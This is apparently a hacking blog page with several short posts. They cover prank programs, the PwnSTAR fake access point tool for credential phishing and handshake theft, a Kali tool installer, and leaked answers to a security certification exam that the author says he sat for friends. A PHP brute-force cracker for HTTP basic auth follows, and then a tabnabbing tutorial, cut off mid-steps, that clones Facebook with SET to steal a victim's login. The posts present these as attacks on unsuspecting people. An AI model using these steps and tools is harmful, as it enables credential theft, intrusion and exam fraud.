<a href="http://www.rjlsoftware.com/software/entertainment/fakestart/download.shtml">Download Fake Start Menu</a><br />
18. Flasher – Flasher is a hidden prank program that allows you to flash any image to the computer screen, almost like a subliminal message.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/flasher/download.shtml">Download Flasher</a><br />
19. Flip It – It will display a fake Windows message that appears to have flipped upside-down. Clicking on the YES button will slowly make each piece of text rotate 180 degrees until you can read it again.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/flipit/download.shtml">Download Flip It</a><br />
20. Floppy Madness – Floppy Madness is a small prank program that will try and access the floppy drive at user specified intervals. If this does not seem fun, just download it and see.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/floppy/download.shtml">Download Floppy Madness</a><br />
21. Follow Me – When you execute this program, it will automatically hide in Windows and wait for your mouse cursor to move. Once your cursor moves, it automatically moves your Start Button to the same position, horizontally, on the Windows Task Bar.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/followme/download.shtml">Download Follow Me</a><br />
22. Gas Gripe – This program will lead you through a series of price comparisons with other liquid products. With the help of a very clean interface, Gas Gripe will have you laughing in your chair as you watch the price per gallon go up with other products<br />
<a href="http://www.rjlsoftware.com/software/entertainment/gas/download.shtml">Download Gas Gripe</a><br />
23. HeadAche – A program that would instantly give you a headache, download and run to know how it produce a headache.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/headache/download.shtml">Download HeadAche</a><br />
24. Message Manager Lite – Message Manager it will allow you to setup a message dialog to be displayed upon a network login. You can specify the text to be displayed, the image, the buttons (up to 9), and when to display the message.<br />
<a href="http://www.rjlsoftware.com/software/utility/message/download.shtml">Download Massage Manager</a><br />
25. Mouse Droppings – Watch as your mouse drops little black turds all over your screen, randomly. This is a great joke to play on an unsuspecting co-worker, you can even email this prank to a friend.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/droppings/download.shtml">Download Mouse Droppings</a><br />
26. Mouse Move – Mouse Move is a a program that can run hidden to move the users mouse cursor to random positions on the screen.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/mousemove/download.shtml">Download Mouse Move</a><br />
27. MouseClicks – MouseClicks is a harmless gag program that allows you to disable the left, right or both mouse clicks every x seconds.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/mouseclicks/download.shtml">Download MouseClicks</a><br />
28. Password Prank – This program displays a fake, but very realistic, password box to the user. No matter what key the user presses, it starts typing in its own password. Once the password is entered an error message is displayed to the user telling them their password is not long enough.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/password/download.shtml">Download Password Prank</a><br />
29. Pirated Software – Pirated Software is a prank that emulates the standard software installation or setup. However, the installation walks you through the steps of installing illegal software.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/pirate/download.shtml">Download Pirated Software</a><br />
30. Popup Prank – Popup Prank is a gag software program that allows you to simulate these online popup advertisements.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/popup/download.shtml">Download Popup Prank</a><br />
31. Print Me – When you launch Print Me the standard Windows Print dialog appears, no matter which button is pressed a fake print dialog screen displays to the user.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/printme/download.shtml">Download Print Me</a><br />
32. WAV Launcher – This is a hidden program launcher. It will launch a specified program or .wav file at user defined intervals.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/launcher/download.shtml">Download WAV Launcher</a><br />
33. Random Bumper – It is a hidden software program that will play gross burp sounds randomly every minute until closed.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/burp/download.shtml">Download Random Bumper</a><br />
34. ReplaceKeys – ReplaceKeys is a fun little prank that allows you to replace many keyboard keystrokes with different keyboard keystrokes.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/replacekeys/download.shtml">Download ReplaceKeys</a><br />
35. Rotate – Rotate is a desktop manipulator that will randomly flip the desktop into all sorts of weird positions.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/rotate/download.shtml">Download Rotate</a><br />
36. Screen Screw – Screen Screw does just that, it screws with your screen. When you launch Screen Screw it will appear as though your screen has some type of problem painting its colors.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/screenscrew/download.shtml">Download Screen Screw</a><br />
37. Shakedown – Shakedown will take your current desktop and shake it violently, This will not only annoy you to death, but also give your eyes a good strain.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/shakedown/download.shtml">Download Shakedown</a><br />
38. Show – Hide Desktop – Show – Hide Desktop is another fun Windows prank from RJL Software. This prank allows you to configure how often the desktop icons will hide and then show again.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/showhide/download.shtml">Download Show – Hide Desktop</a><br />
39. The Finger – The Finger on an unsuspecting user and watch their reaction when the cursor changes to the middle finger and then back to normal again.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/finger/download.shtml">Download The Finger</a><br />
40. Time Traveler – Time Traveler is a devious little prank that changes the Windows system clock to a random time. To make matters worse, Time Traveler runs invisible in the background performing this task every 30 seconds.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/traveler/download.shtml">Download Time Traveler</a><br />
41. Vista Upgrade Prank – The Vista Upgrade Prank starts by emulating the Windows Update service screen. Clicking the install or cancel button closes the update service window and appears to initiate the Vista Upgrade Advisor.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/vista/download.shtml">Download Vista Upgrade Prank</a><br />
42. Y2K Joke – Y2K is a silly software program that spoofs all of the Y2K issues. It simulates fixing your BIOS, mouse, monitor, and even corrects your calendar problems by changing all letter Ys to letter Ks.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/y2k/download.shtml">Download Y2K Joke</a><br />
<br />
All of the above links and pranks are completely safe they don't harm/affect your system in anyways .these are purely built for fun application so enjoy have nice time ahead keep smiling

Computer Fake Viruses to Play Pranks On April Fool Day On Friends Pc

Hi all in India we do play lots of pranks with our friends on 1st that is popularly known as April fool day :D. Also its Special In Odisha ...

PwnSTAR: Pwn_SofT_Ap_scRipt For Hacking

It is basically a bash script to launch a Fake AP, configurable with a wide variety of attack options.Includes a number of index.html and server php scripts, for sniffing and phishing.Can act as multi-client captive portal using php and iptables.<br />
Launches classic exploits such as evil-PDF.An easy way to launch the "best" metasploit modules eg CVE-2013-0422 De-auth with aireplay, airdrop-ng or MDK3.<br />
<br />
PwnSTAR.tgz is a bundle containing the current version of the script + all required webpages.<br />
<a href="https://code.google.com/p/pwn-star/downloads/list">Download Here</a><br />
<b><br />
Few Top features:-</b><br />
<br />
takes care of configuration of interfaces, macspoofing, airbase-ng and isc-dhcp-server<br />
steals WPA handshakes<br />
phishes email credentials<br />
serves webpages: supplied (eg hotspot, below) or provide your own<br />
sniffing with ferret and sslstrip<br />
adds a captive portal to the frontend of the fake AP<br />
assorted exploits<br />
de-auth with MDK3, aireplay-ng or airdrop-ng<br />
Use your imagination, craft your own webpages, and have fun.<br />
<br />
Download packege contents.<br />
"hotspot_3" is a simple phishing web page, used with basic menu option 4.<br />
"portal_simple" is a captive portal which allows you to edit the index.html with the name of the portal eg "Joe's CyberCafe". It is used for sniffing.<br />
"portal_hotspot3" phishes credentials, and then allows clients through the portal to the internet.<br />
"portal_pdf" forces the client to download a malicious pdf in order to pass through the portal.<br />
Designed for Kali-linux and BackTrack5 ,Current version for Kali is PwnSTAR_0.9.<br />
<br />
<b>Installation process:-</b><br />
<br />
It is simple to install and use. download from above link and then follow the screenshot.<br />
<a class="center" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzqI84yRfvGuSRGGzmPGToxCxr0t2pxEY8njyfxs_WcyX8lMoxvxopdN3D9WE42vEaxvQVs1eWI92Gnvx3lLscObru_mgOyQea6WNYckcnHHuNDM1EI8SXjAJQDKZzDnGZ0GladTn_t1gK/s100/12.png"><br />
<img height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzqI84yRfvGuSRGGzmPGToxCxr0t2pxEY8njyfxs_WcyX8lMoxvxopdN3D9WE42vEaxvQVs1eWI92Gnvx3lLscObru_mgOyQea6WNYckcnHHuNDM1EI8SXjAJQDKZzDnGZ0GladTn_t1gK/s1000/12.png" width="750" /><br />
</a><br />
<br />
And Main menu is this<br />
<br />
<a class="center" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimRS_hV9RoWDeR5DT0F3s1GIfGHX49JOkaY7mtDifWqF0ZzdCl2Zs7yugQr0g9HnFo4UrURyak4dIUhk8OprMV6DbnVgTKHqloexdndrMRr4Ihz1GRTXz1Q-CV9heHbR2ln0KcqKT19_CM/s1600/11.png"><br />
<img height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimRS_hV9RoWDeR5DT0F3s1GIfGHX49JOkaY7mtDifWqF0ZzdCl2Zs7yugQr0g9HnFo4UrURyak4dIUhk8OprMV6DbnVgTKHqloexdndrMRr4Ihz1GRTXz1Q-CV9heHbR2ln0KcqKT19_CM/s1000/11.png" width="750" /><br />
</a><br />
<br />
Keep checking darksite.co.in for upcoming tutorial on PwnSTAR.

PwnSTAR: Pwn_SofT_Ap_scRipt For Hacking

It is basically a bash script to launch a Fake AP, configurable with a wide variety of attack options.Includes a number of index.html and se...

Lazy Kali Script for Kali Linux Must have

Hi all today i am going tell you about bash script that helps you in kali linux to handle many software updation in simple manner.<br />
Lazy kali is just a simple bash script that makes you feel lazy and helps in better way to Adds quite a few tools to Kali Linux.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmui6V4PdR8o_Q2NJIMFN2ScgY_nWTxf-DHTbjIZVdylOGiCkp20wKsbeQ_S4BqOOxOnKFtPodoZjPbmZ2NdXK1h-r_YC0W_u3bbsIZYPFOACKJFcLjiaMIK6C85IWxThDgVW0DsWGCWHm/s1600/lazy+kali.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmui6V4PdR8o_Q2NJIMFN2ScgY_nWTxf-DHTbjIZVdylOGiCkp20wKsbeQ_S4BqOOxOnKFtPodoZjPbmZ2NdXK1h-r_YC0W_u3bbsIZYPFOACKJFcLjiaMIK6C85IWxThDgVW0DsWGCWHm/s400/lazy+kali.png" /></a></div>Here are the list of tool that you can add using lazy kali with current version.<br />
Adds quite a few tools to Kali Linux.<br />
<li>Bleeding Edge Repos<br />
<li>AngryIP Scanner<br />
<li>Terminator<br />
<li>Xchat<br />
<li>Unicornscan<br />
<li>Nautilus Open Terminal<br />
<li>Simple-Ducky<br />
<li>Subterfuge<br />
<li>Ghost-Phisher<br />
<li>Yamas<br />
<li>PwnStar<br />
<li>Ettercap0.7.6<br />
<li>Xssf<br />
<li>Smbexec<br />
<li>Flash<br />
<li>Java<br />
<li>Easy-Creds... and more!<br />
<br />
Lazy-Kali will also update Kali, Start Metaploit Services, Start Stop And Update Open-Vas. This is the first version, script is self updating so more will be added in a short time. Will try to add requested features. <br />
<br />
You can download lazy kali from <a href="https://code.google.com/p/lazykali/downloads/detail?name=lazykali.sh&can=2&q=">this link</a><br />
You will get the file with the name <b>lazykali.sh</b>. Now to install follow the screen shot.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrZVkSpG_bvspgglpGIiOFWjIPob32WYRqWDCj1v9VWrZJ_YsBWFPJ8kaelX6HiHP8mxC7D_BaONeE9DpbkPLEaDNJNlsHy-kEZIdBmqKC6899cJOOO1h2cfrmr7j3YHY8rWfT4Y4Uhi-Z/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrZVkSpG_bvspgglpGIiOFWjIPob32WYRqWDCj1v9VWrZJ_YsBWFPJ8kaelX6HiHP8mxC7D_BaONeE9DpbkPLEaDNJNlsHy-kEZIdBmqKC6899cJOOO1h2cfrmr7j3YHY8rWfT4Y4Uhi-Z/s400/4.png" /></a></div>if the script is not installed it may prompt you to install. Type Y to install the script.<br />
Once that is done you will see manu as shown in first screen shot.<br />
<br />
there you go you can select update kali Option 1 to update your kali linux.<br />
just like if you select option 5 (sniffing/spoofing) then you can see this menu.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAy9DDdtp_4Nye4MBuUlZVaaeZDg_0a6FYD6iHi6NQmBDZL1x4ZI4d8-pykT7PHm-FnIJA0jEJ_lg_bKkgpYEkg8soZz8uyQkNBU4YRI_1sSX99hS7hLspnLUbZHGJa-cUvxQ_8Mg03yHt/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAy9DDdtp_4Nye4MBuUlZVaaeZDg_0a6FYD6iHi6NQmBDZL1x4ZI4d8-pykT7PHm-FnIJA0jEJ_lg_bKkgpYEkg8soZz8uyQkNBU4YRI_1sSX99hS7hLspnLUbZHGJa-cUvxQ_8Mg03yHt/s400/2.png" /></a></div>if you select installing extra options 6 then this screen will show up.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-I_MUTkSHSf2Nn_gqOEvh_AmG1aJskQUZPxc8NIsTEbIK52aoRl6aGwYn8-SAhiH9zwuq5KArwnETv5uRbc4Taj4ekYeKxNiAW8u6toyVFQu7hvBhieDS3booGtX3UO-51Ujo8AyOQOh2/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-I_MUTkSHSf2Nn_gqOEvh_AmG1aJskQUZPxc8NIsTEbIK52aoRl6aGwYn8-SAhiH9zwuq5KArwnETv5uRbc4Taj4ekYeKxNiAW8u6toyVFQu7hvBhieDS3booGtX3UO-51Ujo8AyOQOh2/s400/1.png" /></a></div>Hope this will make you lazy on kali and have fun.<br />
Thanks for reading .

Lazy Kali Script for Kali Linux Must have

Hi all today i am going tell you about bash script that helps you in kali linux to handle many software updation in simple manner. Lazy kal...

Innobuzz CISE (Certified Information Security Expert) Exam Question Answer

<div dir="ltr" style="text-align: left;" trbidi="on">
Hi Everyone Here is the post that most people google for.<br />
funnily i have given cise exam for multiple time for some of my friends. so lets not waste the time<br />
directly go into question .so i am skipping the register for exam and other bla bla bla part.<br />
<br />
Note: This Q/A we published after taking permission from Innobuzz and these questions are changed now.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTdA2wWDsBLCFrrPVFPL55a9rpiUhJUJFmn_H2W0f5pKzei2jBi_PyYXXU-it6Qxv3NOAKyI8f4kNKTuI5R8f-aVU44LnSIRvty5tyRrjkCtbV0C35ebRclEWa6_NSK5-5mkDj-BAnE8NB/s1600/cise.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTdA2wWDsBLCFrrPVFPL55a9rpiUhJUJFmn_H2W0f5pKzei2jBi_PyYXXU-it6Qxv3NOAKyI8f4kNKTuI5R8f-aVU44LnSIRvty5tyRrjkCtbV0C35ebRclEWa6_NSK5-5mkDj-BAnE8NB/s400/cise.jpg" /></a></div>
come to question and answer.<br />
1)Enter Administrative Contact Mail Address of innobuzz.in<br />
<br />
Asnwer:- Its very simple go to who.is and search for innobuzz.in and the answer will show you on search result.<br />
that is <b>innobuzz.control@gmail.com</b> <br />
<br />
2)Enter Domain name Starting with "S" hosted on same server innobuzz.in.<br />
<br />
Asnwer:- Again this can be solve via online easily <a href="http://www.yougetsignal.com/tools/web-sites-on-web-server/">Yougetsignal</a> and the answer is <b>www.secfence.com</b> .<br />
<br />
3)Enter Exact name of service running on port number 21 of innobuzz.in.<br />
<br />
Answer :- This Answer can easily Find out by using nmap.if u are on backtrack then you can use this simple command on terminal.<br />
<br />
<b>nmap -A innobuzz.in</b> and you will see the answer on scan result.<br />
<br />
the answer is <b>Pure-FTPd</b><br />
<br />
4)Here is one of the funny question The Password is being sent on http header. catch it and enter bewlow.<br />
<br />
Answer:-You can easily see by using mozilla live header addons.<br />
<br />
And The Answer is <b>ADMIN@123</b>.<br />
<br />
5) Here comes the final one again good one.Enter the password.<br />
<br />
Answer:-you just need to view source(ctrl+u) you will see some thing like this on green color "cDQ1c3dyMGQyIyRAIQ=="<br />
<br />
now this is a base 64 encodeed one you can easily decode with some online site like <a href="http://www.base64decode.org/">http://www.base64decode.org</a>.<br />
<br />
The answer will be <b>p45swr0d2#$@!</b><br />
<br />
i believe this exam was easy yes. after submitting answer you will get a code which you need to submit at innobuzz portal.<br />
after which you will get CISE certificate.<br />
<br />
Please Do comment if you have faced have questions also you can add new questions if you get during exam .<br />
Find screen shot here<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfh3-8oqdPTWSiCrXhaDkik3NFVveCXE_zhjJfKRX5VhVltZ2WRjKlVwaacjwe6Xbvbh1LlYq1t7maI2MFx-W5UqMzM71Ip8wLR-HY7hAsbqABitgtLurQd7bgRFsVl6cHW4GbIm5HcJ_-/s1600/1.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfh3-8oqdPTWSiCrXhaDkik3NFVveCXE_zhjJfKRX5VhVltZ2WRjKlVwaacjwe6Xbvbh1LlYq1t7maI2MFx-W5UqMzM71Ip8wLR-HY7hAsbqABitgtLurQd7bgRFsVl6cHW4GbIm5HcJ_-/s320/1.jpg" /></a><br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjtwwnudVoenMpTNZhrzjwHMFPSpPXdEmx7Q3gOHBgO6yoJZ_B2Az2LO6g7jlOE7v2VKJjktCqyXIbgJ5QbSFbnnDMl9VZ5xCeMShnqUuZzIdTnsyLOczlAJUIWsAHmRyauJGFsm8jNPx-/s1600/2.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjtwwnudVoenMpTNZhrzjwHMFPSpPXdEmx7Q3gOHBgO6yoJZ_B2Az2LO6g7jlOE7v2VKJjktCqyXIbgJ5QbSFbnnDMl9VZ5xCeMShnqUuZzIdTnsyLOczlAJUIWsAHmRyauJGFsm8jNPx-/s320/2.jpg" /></a><br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9vheW9KygHQHzMlE8EVjSQJYxSNbauR83X-hU0f3Qu1RyaUYsp7lzemndmAcRJ1imCXCnCKk2YdHA8bwQL5Vsq2j3klLMxcfHkOfUV0zVnll821iWkWL4uL0XpRTtu9SvraO7tsuaVRmC/s1600/3.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9vheW9KygHQHzMlE8EVjSQJYxSNbauR83X-hU0f3Qu1RyaUYsp7lzemndmAcRJ1imCXCnCKk2YdHA8bwQL5Vsq2j3klLMxcfHkOfUV0zVnll821iWkWL4uL0XpRTtu9SvraO7tsuaVRmC/s320/3.jpg" /></a><br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMzvCGsa22bw3aeSoX3X7j50Inwolb-NeNhRxBBG6PUh0cHoHbAN9DGHH8pN4_eTYYkTwo9yGIE6lDtQygTSvhAq_rxHhu10kf-IHiamLLE1nTC6geiE5bupNBVFxblUNzwgmoqfYzPLk5/s1600/4.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMzvCGsa22bw3aeSoX3X7j50Inwolb-NeNhRxBBG6PUh0cHoHbAN9DGHH8pN4_eTYYkTwo9yGIE6lDtQygTSvhAq_rxHhu10kf-IHiamLLE1nTC6geiE5bupNBVFxblUNzwgmoqfYzPLk5/s320/4.jpg" /></a><br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6g2T9PpAwWO3yRshwF5F-h9iH65hyphenhyphenVmD4gfMHRKwceBnYWRfk0S58a38_9O6dIbH3RzU8ahgqEdCT_ha1AyZ23M5yeSSu0FLDd4IGBPtEwygPAwB1loMIOA6QcoNTTRcVnUCAPr0T_HCh/s1600/5Ans.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6g2T9PpAwWO3yRshwF5F-h9iH65hyphenhyphenVmD4gfMHRKwceBnYWRfk0S58a38_9O6dIbH3RzU8ahgqEdCT_ha1AyZ23M5yeSSu0FLDd4IGBPtEwygPAwB1loMIOA6QcoNTTRcVnUCAPr0T_HCh/s320/5Ans.jpg" /></a><br />
<br />
Please Do comment if you like this or want more post on any topic.<br />
<br />
Thanks for visiting.<br />
<br />
<br />
<br /></div>

Innobuzz CISE (Certified Information Security Expert) Exam Question Answer

Hi Everyone Here is the post that most people google for. funnily i have given cise exam for multiple time for some of my friends. so lets...

PHP Script For Cracking http Basic Authentication

hi in this post i am again sharing article of one of my very nice friend <a href="http://www.mannulinux.org/">manish</a> this php shell helps in cracking http basic authentication password cracking.now lets come to the real topic what exactly basic auth.<br />
<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ5QZ_gw1g2A0DVqsNJ5A_vynb86cjioz1ijR97HxWPlykpJqzJka-si1XLoA6IeKLpt_1LJrj_jwcm4mY4_PLarmorVhMQW3NY4GJq3Mz6X33FaC7eKqi4BrwVvFj5EYfyAqn5WnZT6I/s1600/http4.png"><br />
<img height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ5QZ_gw1g2A0DVqsNJ5A_vynb86cjioz1ijR97HxWPlykpJqzJka-si1XLoA6IeKLpt_1LJrj_jwcm4mY4_PLarmorVhMQW3NY4GJq3Mz6X33FaC7eKqi4BrwVvFj5EYfyAqn5WnZT6I/s800/http4.png" width="620" /><br />
</a><br />
<span>Http Basic Auth Cracker PHP Script</span><br />
</div><br />
so in order to perform HTTP transaction(request- response), basic access authentication is a method for an HTTP user agent to provide a user name and password when making a request.after providing correct user id and password when it is asked.<br />
<br />
<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFjb166gjvGsyUf3mfAe2kJEZ7ePcLdCtwk-639Y8VaYLWIbebYCzeS2VFXS5t2beqrYJ8rDNU5iOEpftyYs6t4QDQHqUp3cdv-PdbMOI_CNdivi7fssIYh5VByrH7h-SpMaC_THwCvRE/s1600/http3.png"><br />
<img height="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFjb166gjvGsyUf3mfAe2kJEZ7ePcLdCtwk-639Y8VaYLWIbebYCzeS2VFXS5t2beqrYJ8rDNU5iOEpftyYs6t4QDQHqUp3cdv-PdbMOI_CNdivi7fssIYh5VByrH7h-SpMaC_THwCvRE/s600/http3.png" width="320" /><br />
</a><br />
<span>Basic Auth Prompt</span><br />
</div><br />
it will allow you to do the http request.so our objective here is how we can break it or get the correct user id and password <br />
so we can do it with the help of php script and brute force attack.<br />
you can brute force any panel which is using basic authentication using this script  <br />
<br />
<a href="http://www.mediafire.com/download/3fa25np8nmflmxd/http.php"><br />
download link here</a><br />
<br />
Procedure is very simple<br />
<br />
you need to supply link where htaccess is implemented , username list and password list <br />
<br />
<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxq0Bl-Djt8Ygy1MCn1mfYZKdi2VGciRcHF4TkIg2p3tCEqUaB1irZ52ievSJhLLYeUqz-9En-BsT8yVUl8fczF4EJK01CWaskIIbHJOyC8dIbIpvvXy2K4JtEpIJoyrRNBz9pP493TYo/s1600/http.png"><br />
<img height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxq0Bl-Djt8Ygy1MCn1mfYZKdi2VGciRcHF4TkIg2p3tCEqUaB1irZ52ievSJhLLYeUqz-9En-BsT8yVUl8fczF4EJK01CWaskIIbHJOyC8dIbIpvvXy2K4JtEpIJoyrRNBz9pP493TYo/s1600/http.png" width="620" /><br />
</a><br />
<span>provide possible username and password list</span><br />
</div><br />
and click "<b>lets hex this shit</b>" button<br />
if password is weak or in your password list, you will get success message like this<br />
<br />
<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjccN1YdAdi_A8ZTMd6NcyWpjJVI8Lpv1ngPilXWOusixZooCW6LCkOXzKBdpO5nQojWGVuwq5YguI15xBuzY61dH2bFnL3AwsFgaMphPYJGXpdQX3fMb9ob1J0YM8JZ-RjHcC7-ISg8i4/s1600/http2.png"><br />
<img height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjccN1YdAdi_A8ZTMd6NcyWpjJVI8Lpv1ngPilXWOusixZooCW6LCkOXzKBdpO5nQojWGVuwq5YguI15xBuzY61dH2bFnL3AwsFgaMphPYJGXpdQX3fMb9ob1J0YM8JZ-RjHcC7-ISg8i4/s1600/http2.png" width="620" /><br />
</a><br />
<span>Cracked Successfully :)</span><br />
</div><br />
enjoy :)<br />
with love from Team IndiShell<br />
if you have any problem regarding this script , you can message manish on facebook<br />
http://facebook.com/manish1046<br />
<br />
it work very nice you should definitely give a try :) if u encounter http basic auth somewhere :).

PHP Script For Cracking http Basic Authentication

hi in this post i am again sharing article of one of my very nice friend manish this php shell helps in cracking http basic authentication ...

Tabnabbing Attack with social Engineering toolkit on Backtrack | kali

Hi everyone here is the post that basically explain about very fundamental attack known to be tab nabbing attack.the attack is very simple again you sent an link to the victim he/she click on it and redirected to your desired login page which looks like original and the after putting his/her credentials you get that in no time .<br />
so lets do this with social engineering toolkit as here more social engineering trick is very necessary .<br />
So before doing all do check your own BT/Kali System IP address by typing <b>ifconfig</b> command.<br />
then Open Your Backtrack terminal and Type <b>cd  /pentest/exploits/set</b><br />
Now Open Social Engineering Toolkit (SET) <b>./set</b><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8mOCeh6T49bOGwtiZujht1oA12Rg7bDtIoMh2sHliLfnJO-2NfErxGQPetMnjX0w-kJTbsfdIkiqXtEgNATLykrZxlYkROjNvyRF9dvNAMSmqpYl37FhoWuzWP146-RLb03JvtFsOgJhw/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8mOCeh6T49bOGwtiZujht1oA12Rg7bDtIoMh2sHliLfnJO-2NfErxGQPetMnjX0w-kJTbsfdIkiqXtEgNATLykrZxlYkROjNvyRF9dvNAMSmqpYl37FhoWuzWP146-RLb03JvtFsOgJhw/s720/1.png" /></a></div>after that choose social engineering attack that is option 1 and then choose option 2, <b>“Website Attack Vectors”</b>.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXnvQM1rOT8QcacsgxOq08vMrzbiVjdLmvby4Ebwj_f_hrh24i5oDySrfTWUQsBmOhaMvrJvZ1Bb_zBsl-hmcrFi1RKYzQHPTgg1w2QT5CRTUUqMThZW2RageZa0DiEAlbXOAZ-tYunLS/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXnvQM1rOT8QcacsgxOq08vMrzbiVjdLmvby4Ebwj_f_hrh24i5oDySrfTWUQsBmOhaMvrJvZ1Bb_zBsl-hmcrFi1RKYzQHPTgg1w2QT5CRTUUqMThZW2RageZa0DiEAlbXOAZ-tYunLS/s520/2.png" /></a></div>a list of options will be populated you have to select option<b> 4 “Tabnabbing Attack Method”</b>.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyynYd_9GCyeMDOl0b0hf-IMfWMlMn45py7x8ORMFu510M7kKTjL9yedvj7vEcbnk4urT99hMRHwDYxoT9JJn_iOB0x4NOXQKD3Q4Yj6lHSOm4uW33FVtmUFT2iV5OsN7Pm3prYhJgB1zM/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyynYd_9GCyeMDOl0b0hf-IMfWMlMn45py7x8ORMFu510M7kKTjL9yedvj7vEcbnk4urT99hMRHwDYxoT9JJn_iOB0x4NOXQKD3Q4Yj6lHSOm4uW33FVtmUFT2iV5OsN7Pm3prYhJgB1zM/s520/3.png" /></a></div>next choose option 2 <b>“Site Cloner”</b>.<br />
it will ask for your system ip which you can give that you got from ifconfig (<b>your backtrack machine ip</b>)<br />
Then Enter the URL of the site you want to clone. In this case<b> http://www.facebook.com </b>and hit enter. SET will clone up the web site. And press return to continue.<br />
